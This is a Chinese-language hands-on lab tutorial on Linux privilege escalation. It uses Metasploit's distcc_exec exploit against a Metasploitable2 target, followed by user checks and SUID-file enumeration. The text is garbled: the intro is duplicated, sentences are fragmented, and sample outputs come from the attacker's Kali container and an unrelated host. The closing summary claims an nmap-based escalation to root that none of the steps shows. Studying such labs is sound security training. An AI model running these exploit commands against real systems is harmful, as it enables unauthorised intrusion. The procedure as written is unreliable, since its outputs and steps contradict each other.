介绍
在本实验中,你将学习如何在成功以非 root 用户身份访问 Linux 机器后执行权限提升。虽然网上有许多关于 Windows 权限提升的教程,但本实验特别关注在 Linux 操作系统上进行权限提升。
在本实验中,你将学习如何在成功以非 root 用户身份访问 Linux 机器后执行权限提升。虽然网上有许多关于 Windows 权限提升的教程,但本实验特别关注在 Linux 操作系统上进行权限提升。
在这一步骤中,我们将启动实验环境所需的组件,包括 Kali Linux 容器和 Metasploitable2 虚拟机。
sudo virsh start Metasploitable2
等待目标机器启动,可能需要 1-3 分钟。
target
主机名来测试虚拟机是否已启动:ping 192.168.122.102
按下 Ctrl+C
停止 ping。
docker run -ti --network host b5b709a49cd5 bash
target
主机名来测试网络连通性:ping 192.168.122.102
按下 Ctrl+C
停止 ping。
在这一步骤中,我们将使用 Kali 容器中的 Metasploit Framework (MSF) 来获取对 Metasploitable2 目标机器的初始访问权限。
cd ~
msfconsole
distcc_exec
漏洞利用模块:use exploit/unix/misc/distcc_exec
set RHOST 192.168.122.102
exploit
成功利用后,你应该会看到一个命令 shell 会话被打开,这表明你已经成功获取了对目标机器的访问权限。
按下 Ctrl+D 退出 Metasploit 控制台,然后开始检查
在获取初始访问权限后,我们需要检查当前用户的权限,以确定是否需要进一步进行权限提升。
cd ~
msfconsole
whoami
id
如果用户 ID 不是 0
(root),你将需要提升权限以获取管理员访问权限。
按下 Ctrl+D 退出 Metasploit 控制台,然后开始检查
在尝试权限提升之前,我们需要收集目标系统的信息,以识别潜在的漏洞。
cd ~
msfconsole
lsb_release -a
以下是你可能会看到的输出示例:
[*] exec: lsb_release -a
No LSB modules are available.
Distributor ID: Kali
Description: Kali GNU/Linux Rolling
Release: 2023.2
Codename: kali-rolling
uname -a
以下是你可能会看到的输出示例:
Linux iZj6ceecakbzgu9eomquhhZ 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64 GNU/Linux
find / -perm -u=s -type f 2> /dev/null
在输出中,你应该会看到 /usr/bin/nmap
二进制文件,它在旧版本中存在已知的权限提升漏洞,按下 Ctrl+C
退出。
按下 Ctrl+D 退出 Metasploit 控制台,然后开始检查
在本实验中,你学习了如何在以非 root 用户身份获取初始访问权限后,对 Linux 机器进行权限提升。我们首先使用 Kali Linux 容器和 Metasploitable2 虚拟机设置了 LabEx 环境。然后,我们使用 Metasploit Framework 利用 Distcc 漏洞获取了对目标机器的初始访问权限。
在确认我们不是 root 用户后,我们收集了目标系统的信息,例如 Linux 发行版版本、内核版本和 SUID 文件。我们识别出 Nmap 二进制文件作为潜在的漏洞,并利用它来将我们的权限提升到 root。
通过完成本实验,你获得了在 Linux 系统上进行权限提升的实践经验,这是网络安全领域中的一项关键技能。你还学习了如何使用各种 Linux 命令进行系统枚举和漏洞利用,以及如何利用软件中的漏洞来获取更高的访问权限。